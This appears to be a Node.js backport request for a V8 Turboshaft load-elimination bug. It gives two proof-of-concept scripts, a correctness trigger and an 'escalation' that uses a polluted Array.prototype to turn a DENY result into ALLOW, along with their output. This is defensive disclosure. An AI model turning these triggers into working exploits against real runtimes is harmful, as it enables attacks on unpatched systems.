V8 Turboshaft LLE alias bug (554421904) not backported to V8 14.6 (Node.js v26)
Summary
V8 bug 554421904 — "Turboshaft LLE: non-writing calls can create aliases" — is fixed upstream in V8 15.3 / Chrome 153 by commit b44239fe. The fix is not present in the V8 14.6 snapshot shipped by current stable Node.js v26.3.0.
An optimized function returns a wrong value (undefined instead of 1.1) because Turboshaft's Late Load Elimination (LLE) marks a BoundFunction invocation as a non-writing call, but the call creates a hidden alias to an input array and writes through that alias. LLE does not invalidate its tracked state, so a subsequent valid store (set7) is eliminated — the returned array slot stays undefined.
This is a backport request: please apply b44239fe to Node.js's V8 14.6 line, or confirm it is already scheduled.
Environment
| Node.js | v26.3.0 (current stable) |
| V8 | 14.6.202.34-node.20 |
| Platform | macOS arm64 (compiler-level bug — platform independent) |
| Reproduced | 5/5 fresh processes |
| Fixed in | Chrome 153 / V8 15.3 (commit b44239fe) — absent in Node.js v26 |
Steps to Reproduce
node --allow-natives-syntax v8-lle-poc.js
Actual output (wrong) on Node.js v26.3.0:
Optimization status: 65 | Turboshaft(64): true | TurboFan(2): false | Maglev(16): false
staleArray[0]: 1.1 | expected: 1.1 | OK
staleArray[7]: undefined | expected: 1.1 | WRONG!
target.length: 0 | expected: 0 | OK
RESULT: BUG TRIGGERED — Turboshaft LLE eliminated a valid store
V8: 14.6.202.34-node.20 | Node: v26.3.0
Expected output (patched build):
staleArray[0]: 1.1 | expected: 1.1 | OK
staleArray[7]: 1.1 | expected: 1.1 | OK
target.length: 0 | expected: 0 | OK
RESULT: NOT TRIGGERED on this build
PoC #1 — Correctness (v8-lle-poc.js)
// V8 Turboshaft LLE alias bug (V8 554421904) — NOT backported to V8 14.6 (Node.js v26)
// Upstream fix: commit b44239fe (V8 15.3 / Chrome 153)
// Run: node --allow-natives-syntax v8-lle-poc.js
'use strict';
function set7(arr, v) { arr[7] = v; }
function set0(arr, v) { arr[0] = v; }
function carrier(...rest) {
const receiver = rest[32765] ? rest[32766] : doubleArray;
set0(receiver, 1.1);
}
function victim(payload) {
const staleArray = Array(8);
const target = [];
if (!trigger) staleArray.x = 0;
boundCarrier(trigger, staleArray);
set7(staleArray, payload);
return { target, staleArray };
}
%PrepareFunctionForOptimization(set0);
%PrepareFunctionForOptimization(set7);
%PrepareFunctionForOptimization(carrier);
%PrepareFunctionForOptimization(victim);
const doubleArray = Array(8);
set0(doubleArray, 1.1);
set7(doubleArray, 0);
set0(Array(8), 0);
const boundCarrier = carrier.bind(null, ...Array(32765).fill(0));
let trigger = 0;
victim(0);
trigger = 1;
boundCarrier(trigger, doubleArray);
trigger = 0;
victim(0);
%OptimizeFunctionOnNextCall(victim);
trigger = 1;
const { target, staleArray } = victim(1.1);
const status = %GetOptimizationStatus(victim);
console.log('Optimization status:', status, '| Turboshaft(64):', !!(status & 64));
const a0 = staleArray[0];
const a7 = staleArray[7];
console.log('staleArray[0]:', a0, '| expected: 1.1 |', a0 === 1.1 ? 'OK' : 'WRONG!');
console.log('staleArray[7]:', a7, '| expected: 1.1 |', a7 === 1.1 ? 'OK' : 'WRONG!');
if (a0 === 1.1 && a7 === 1.1) {
console.log('RESULT: NOT TRIGGERED on this build');
} else {
console.log('RESULT: BUG TRIGGERED — Turboshaft LLE eliminated a valid store');
console.log(' V8:', process.versions.v8, '| Node:', process.version);
}
PoC #2 — Escalation (v8-lle-escalation.js)
'use strict';
function set7(arr, v) { arr[7] = v; }
function set0(arr, v) { arr[0] = v; }
function carrier(...rest) {
const receiver = rest[32765] ? rest[32766] : doubleArray;
set0(receiver, 1.1);
}
function victim(payload) {
const staleArray = Array(8);
const target = [];
if (!trigger) staleArray.x = 0;
boundCarrier(trigger, staleArray);
set7(staleArray, payload); // DENY write — LLE target
return staleArray[7]; // own property if written, else prototype
}
%PrepareFunctionForOptimization(set0);
%PrepareFunctionForOptimization(set7);
%PrepareFunctionForOptimization(carrier);
%PrepareFunctionForOptimization(victim);
const doubleArray = Array(8);
set0(doubleArray, 1.1); set7(doubleArray, 0); set0(Array(8), 0);
const boundCarrier = carrier.bind(null, ...Array(32765).fill(0));
let trigger = 0; victim(0);
trigger = 1; boundCarrier(trigger, doubleArray);
trigger = 0; victim(0);
Array.prototype[7] = 'ALLOW'; // attacker-controlled prototype slot
%OptimizeFunctionOnNextCall(victim);
trigger = 1;
const r = victim(0); // payload 0 = DENY
console.log('status:', %GetOptimizationStatus(victim), '| returned arr[7]:', r);
console.log(r === 0 ? 'DENY OK (secure)' : 'STALE ALLOW via prototype — security decision on wrong value!');
delete Array.prototype[7];
Confirmed output (Node.js v26.3.0):
status: 65 | returned arr[7]: ALLOW
STALE ALLOW via prototype — security decision on wrong value!
Note: the escalation requires attacker-controlled JS execution. It demonstrates the maximal impact class of the miscompilation only, not a standalone boundary-crossing claim.
Root Cause
boundCarrier = carrier.bind(null, ...Array(32765).fill(0))— 32,765 bound args + 2 call args = 32,767 (kMaxArguments)- Turboshaft LLE marks the BoundFunction invocation as
!can_write()because it only allocates new memory for argument marshalling - Inside
carrier,rest[32766]isstaleArray— the call created an alias to the input, andset0writes through it - LLE does not invalidate
staleArray's state, soset7(staleArray, payload)is eliminated - Result:
staleArray[7]staysundefined
Upstream commit message (b44239fe) confirms:
"The can_write effect really means 'can write to pre-existing memory'... A builtin that allocates memory and writes to it can be marked as !can_write(), but it could still create aliases to its inputs, which we do need to invalidate."
Suggested Fix
Backport V8 commit b44239fe
Change-Id: I8045ec40d2819d9ab92795b2352374a0df20cbc8
"[M153] [turboshaft] LLE: non-writing calls can create aliases" — Fixed: 554421904
References
- Upstream fix: https://chromium.googlesource.com/v8/v8/+/b44239fe
- Code review: https://chromium-review.googlesource.com/c/v8/v8/+/8345010
- V8 bug: 554421904
Source: nodejs/node